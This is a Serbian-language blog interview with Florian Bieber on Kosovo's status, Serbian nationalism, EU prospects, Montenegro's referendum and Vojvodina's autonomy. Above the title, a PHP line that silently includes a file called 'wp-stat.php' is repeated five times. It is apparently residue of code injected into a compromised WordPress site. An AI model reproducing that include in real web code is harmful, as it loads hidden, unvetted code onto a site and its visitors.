@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); FLORIJAN BIBER, ISTRAŽIVAČ BALKANSKIH POLITIČKIH PRILIKA: Nisam čuo ni jednu realnu alternativu nezavisnosti Kosova – Nedim Sejdinović

FLORIJAN BIBER, ISTRAŽIVAČ BALKANSKIH POLITIČKIH PRILIKA: Nisam čuo ni jednu realnu alternativu nezavisnosti Kosova

Luksemburžanin poreklom, danas viši naučni saradnik Evropskog centra za pitanja manjina (ECMI) u Srbiji, doktor političkih nauka Florijan Biber, skoro ceo svoj naučni rad posvetio je savremenim političkim pitanjima balkanskog poluostrva. Ne treba se dakako čuditi što mu je Srbija bila posebno zanimljiva za proučavanje i što je, na Univerzitetu u Beču, doktorirao na temi “Srpski nacionalizam – od Titove smrti do pada Miloševića”, prethodno specijaliziravši na Centralnoevropskom univerzitetu u Budimpešti – “uspon srpskog nacionalizma tokom osamdesetih godina” prošlog stoleća. Autor je mnogobrojnih studija o Balkanu i bivšoj Jugoslaviji, urednik internet biltena “Balkan Academic News” i predavač na univerzitetima u Sarajevu i Budimpešti.

Razgovor sa njim počinjemo veoma aktuelnim pitanjem rešavanja konačnog statusa Kosova.

U jednom tekstu ste konstatovali da je kreativnost u rešavanju kosovskog pitanja – “svakako najtežem na teritoriji bivše Jugoslavije – ograničena i geografijom i rigidnošću zahteva glavnih strana”. Kako, ipak, vidite rešenje ovog problema? Da li je ijedan drugi ishod osim nezavisnosti moguć?

– Problem je kako se „problem“ definiše. Ne možete da rešavate problem ako ga definišete tako što kažete sve sem onog šta hoće druga strana, a to je danas ustvari politička pozicija i Beograda i Prištine. Pravi problem Kosova nije status, nego siromaštvo, ekonomska nerazvijenost, kriminal i duboko podeljeno društvo. Da se problem tako definiše, moglo bi se naći više rešenja koja bi sve zadovoljila. Ovako, nema sumnje da je sada pred nama rešavanje statusa i da ne možemo da izbegnemo to pitanje. Nisam čuo ni jednu realnu alternativu nezavisnosti Kosova. Za mene su pitanja – kako, šta i kada. Tu je cela razlika. Nema mnogo kompromisa kada se radi o pitanju međunarodnog priznanja nezavisnosti, jer ili vas priznaju ili ne, ali ima dosta prostora u tome kakvo značenje ta nezavisnost može da ima. Nema zemlje u Evropi koja je “nezavisna”, poslednja zemlja koja je to probala bila je Albanija pod Enverom Hodžom, a videli smo kako se to završilo. Kosovo će verovatno imati manje nezavisnosti od drugih zemalja u Evropi, a status će samo značiti da je započeo proces rešavanja pravih problema društva i države.

Kako komentarišete izjave pojedinih nacionalističkih političara u Srbiji, koji imaju veliku podršku među biračima, a neki od njih su i na vlasti, a koji kažu da će u slučaju nezavisnosti Srbija proglasiti Kosovo «okupiranom teritorijom». Ako bi se to odista i desilo, šta bi to značilo?

– Očigledno da je takva izjava jedino za domaću političku upotrebu, čisti populizam. U praksi, to može da znači dve stvari. Prvo, to može da bude retorička pozicija, koju je, na primer, Zapadna Nemačka decenijama posle Drugog svetskog rata koristila kada se radilo o bivšim nemačkim oblastima koje su dospele pod poljsku i sovjetsku vlast, i zvanično su za nju bile pod stranom upravom, a na mapama ih je tako i označavala. To nije imalo nikakvih posledica u praksi, sem što je otežavalo odnose sa Poljskom. Mnoge zemlje imaju slična manja polaganja teritorijalnih prava, ali to su anahronizmi i padaju u zaborav. Drugo, Srbija bi mogla da se aktivira na “okončanju” takozvane okupacije. Pored očiglednih posledica koje bi takva politika imala, nezamislivo je kako bi Srbija sprovela takvu odluku. Ideja “proglašenja okupacije” očigledno zaboravlja na čijenicu da ogromna većina stanovnika Kosova nije “okupirana”, i da bi teško dobrodošlicom dočekali srpsku vojsku ili policiju na Kosovu.

ODBAČENA EVROPSKA PERSPEKTIVA

Hipotetičko pitanje: ako bi Srbijom zavladali radikali, šta bi to značilo sa samu zemlju i sam region? Da li je moguće da bi neko u Evropi i u zemljama razvijene demokratije sarađivao sa strankom koja ima prošlost kakvu ima Srpska radikalna stranka?

– Dolazak radikala na vlast u Srbiji bilo bi najgore što bi se Srbiji moglo dogoditi. To bi uništilo svako poverenje koje je stekla u proteklih nekoliko godina. Mnoge vlade bi izgubile strpljenje sa Srbijom i od nje “odustale”. Izbori i revolucija iz 2000. pokazali su da je većini Srba bilo dosta onog što je Milošević predstavljao. Dovođenjem radikala na vlast sigurno bi uništilo veliki deo ovog poverenja, iako ja lično ne strahujem da bi se sa radikalima vratili u devedesete godine. Sigurno da postoje stranke, pojedinci i vlade u Evropi i svetu koje su spremnije da sarađuju sa radikalima, dok bi se drugi verovatno zalagali za potpuni bojkot. Iako se Hajder u Austriji ne može uporediti sa radikalima, reakcija bi mogla da bude slična. Najpre bojkot, a kasnije omekšavanje i normalizacija, kada postane jasno da bojkot ne deluje. Postoji, međutim, jedna važna razlika. Austrija je već u EU, Srbija nije. Nema nekog opšteg oduševljenja u EU za prijem zapadnog Balkana u njeno članstvo, a ako radikali dođu na vlast, to bi mnogima bila zgodna prilika da odbace evropsku perspektivu Srbije.

Postoji na srpskoj javnoj sceni, prilično zastupljena, teza da je put u EU moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih, bez ikakvih promena u kulturnom modelu. Je li takav put odista moguć?

– Ustvari, pitanje treba obrnuti. Može li EU pomoći da se ovo društvo transformiše ekonomski i institucionalno ako ne postoji suočavanje sa prošlošću. EU je sredstvo, instrument za izgradnju prosperitetnog društva koje deli određene vrednosti sa drugim zemljama. Članstvo u EU ne zahteva da postoji većina populacija koja priznaje da je Srbija počinila ratne zločine ili slično. Ali, ako je cilj da Srbija postane zemlja koja će negovati dobre odnose sa susedima, koja normalno živi, u koji stranci dolaze i ne moraju da slušaju govor mržnje o Albancima, muslimanima, izdajicama i slično, onda postoji potreba da se suoči sa prošlošću i da se prekine sa određenim načinom govora i razmišljanja o drugima.

A da li Srbija ima odista valjane institucije i elite koje mogu odgovoriti zahtevima novog doba? Ili su možda upravo te elite i institucije (SANU, Srpska pravoslavna crkva, Vojska…) najveće prepreke njenoj modernizaciji?

– Institucije kojima građani ove zemlje najviše veruju u celini su najmanje demokratske, kako po svojoj prirodi, tako i po ponašanju. Srbija sigurno nije u tome jedinstvena u regionu, ali ona pokazuje da nema poverenje u demokratsku elite, dok veruje autoritativnim institucijama. Nesumnjivo da postoji veliki problem u vezi političke i društvene elite u zemlji. Previše njih nosi trag Miloševićeve ere na ovaj ili onaj način, a snažan elitistički pristup ostaje i dalje snažan. Izazov je dvostruk. Postoji jaka konzervativna antimoderna elita u crkvi, vojsci i u akademiji, koja uglavnom bolje zna šta ne želi nego šta želi. Međutim, možda je ozbiljniji problem – nedostatak jake proevropske elite koja bi bila u stanju da formuliše jasne ideje i motive i ovaj projekat približi građanima.

ŠKAKLJIVO PITANJE

Referendum u Crnoj Gori kao aktuelno političko pitanje izaziva brojne kontraverze. Spekuliše se da je Crna Gora u poslednje vreme dobila prećutnu podršku Evrope i američke administracije za samostalnost?

– Ne vidim posebno oduševljenje u zapadnoj Evropi da Crna Gora dobije nezavisnost. Naprotiv, mnogim zemljama ne dopada se pomisao na još jednu novu zemlju-članicu EU i rezervisane su prema Crnoj Gori, zbog njene veličine, ali i zbog optužbi za krijumčarenje u prošlosti. U svakom slučaju, mnoge evropske zemlje danas shvataju da se referendum i pokret za nezavisnost u Crnoj Gori više ne mogu zaustaviti spolja, kako se pre četiri godine nadao Havijer Solana.

Šta su po vama ključni interesi Srbije zbog kojih toliko insistira na opstajanju Crne Gore u zajedničkom državnom okviru? Da li se možda oni kriju i u razlozima otpočinjanja krvavih ratova na prostoru bivše SFRJ?

– Nažalost, još uvek u Srbiji postoji izraženo mišljenje da je Crna Gora njena i da se otcepljuje od Srbije, a ne da je to republika zajedničke države, koja ima ista prava kao i Srbija. Od raspada SFRJ, nije bilo trezne i racionalne rasprave o tome kakva bi vrsta, ili deo čega, država Srbija želela da bude. Takva rasprava se vodi emotivno i mnogi se bave pitanjima zašto „oni“ (Crnogorci, Hrvati, Muslimani/Bošnjaci, itd.) nisu hteli da žive sa „nama“. Nema diskusije o tome zašto Srbija želi da ima državu u kojoj je gotovo četvrtina populacije neprijateljski raspoložena prema takvoj državi (t.j. kosovski Albanci), ili zašto ne funkcioniše državna zajednica. Na kraju krajeva, nije samo Crna Gora kršila, od prvog dana, Ustavnu povelju. Neuspeh državne zajednice očigledno vodi do škakljivog pitanja: ako Srbija nije u stanju da izgradi zajedničku državu koja je ponudila de facto „manje od nezavisnosti, više od autonomije“ Crnoj Gori – čak iako bi mnogi Crnogorci voleli da ostanu u zajedničkoj državi, a čak i većina onih koji podržavaju nezavisnost ne oseća neku dublju netrpeljivost prema Srbiji – kako bi tako nešto moglo da bude uspešno na Kosovu? Inače, u Srbiji su još od 1991. godine zloupotreba jugoslovenstva i srpski nacionalizam izmešani u takvom stepenu da postaje opšteprihvaćeno da su nacionalisti oni koji žele da napuste takvu državu, dok to nisu oni koji ostaju.

PITANJE AUTONOMIJE – REFORMSKO PITANJE

Jedan od najvećih problema Srbije, bar prema pojedinim političkim i društvenim analitičarima, jeste jaka centralizacija vlasti i finansijske moći. Da li Srbija kao centralizovana zemlja (u slučaju otcepljenja Crne Gore) može kao takva da nastavi put u Evropu? Odnosno, da li Evropa ima instrumente da primora srpske vlasti na decentralizaciju? Odnosno, koji su mehanizmi da se centru oduzme ogromna moć koju on očigledno ne želi da izgubi?

– Moramo da razlikujemo formalnu centralizovanu vlast i neformalnu koncentraciju vlasti u njenom centru, Beogradu. Prva može da se postigne prvosudnom reformom, dok je dominaciju Beograda nad Srbijom vrlo teško slomiti i ona se može postići samo kroz dugotrajni proces, povezan sa ravnomernijim ekonomskim i društvenim razvojem u Srbiji. Naravno, Srbija može da se pridruži EU kao centralizovana zemlja, ali sigurno da to nije poželjno. Centralizovana vlast nije sposobna ni zainteresovana za sprovođenje reformi ni za korišćenje fondova koji su dostupni u kontekstu pridruživanja EU, za šta su decentralizovane zemlje zainteresovane. Zato, postoji mogućnost da se Srbija kao centralizovana pridruži EU, ali verovatno kao siromašnija i manje razvijena zemlja od ostalih.

Kako u tom kontekstu vidite Vojvodinu, kao članicu Skupštine evropskih regija, koja je pod Miloševićem izgubila sve prerogative autonomnosti? Da li je realno očekivati i da li je moguća da pokrajina dobije ono što zahtevaju pojedine stranke – sudsku, izvršnu i zakonodavnu vlast?

– Za sada, izgleda da Srbija nije naročito zainteresovana da Vojvodini ustupi nadležnosti koje pominjete. Međutim, to bi moglo da se promeni ako, govoreći u dugoročnijoj perspektivi, postane očigledno da će se zemljom bolje upravljati ako se ona decentralizuje. Autonomija je često nepopularna reč u Srbiji, povezana sa strahom od otcepljenja i sl., što je očigledan apsurd kada se govori o Vojvodini. Mislim da je realnije očekivati da će Vojvodina polako, vremenom, dobijati sve veće nadležnosti, nego da se to dogodi nekim velikim preokretom. I lakše je da se nadležnosti prenose postepeno nego odjednom. Zato je važno da novi srpski ustav ostavi dovoljno prostora za Vojvodinu, kojoj će omogućiti viši stepen autonomije.

Da li je vojvođansko pitanje uopšte na dnevnom redu evropskih i drugih međunarodnih institucija?

– Vojvodina danas nije uopšte na dnevnom redu bilo gde u Evropi. Sa Crnom Gorom i Kosovom, EU i evropske vlade imaju dovoljno posla i sigurno se nadaju da neće morati da se bave još nekim dodatnim pitanjima. U suštini, međunarodna zajednica posreduje da bi sprečila krizu. Status Vojvodine srećom nije krizna situacija, nego pitanje kako da se Srbija reformiše, dakle proces u kojem EU i evropske vlade mogu da igraju samo potpuno posrednu ulogu. EU prilično strahuje od daljih dezintegracija i secesija i nesumnjivo postoji nada da će se taj proces konačno završiti sa Crnom Gorom i Kosovom. Tako će se status Vojvodine ozbiljno razmatrati i prihvatiti samo kao pitanje reformi, pre nego razdvajanja i sukoba, ako se kao takvo formuliše.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.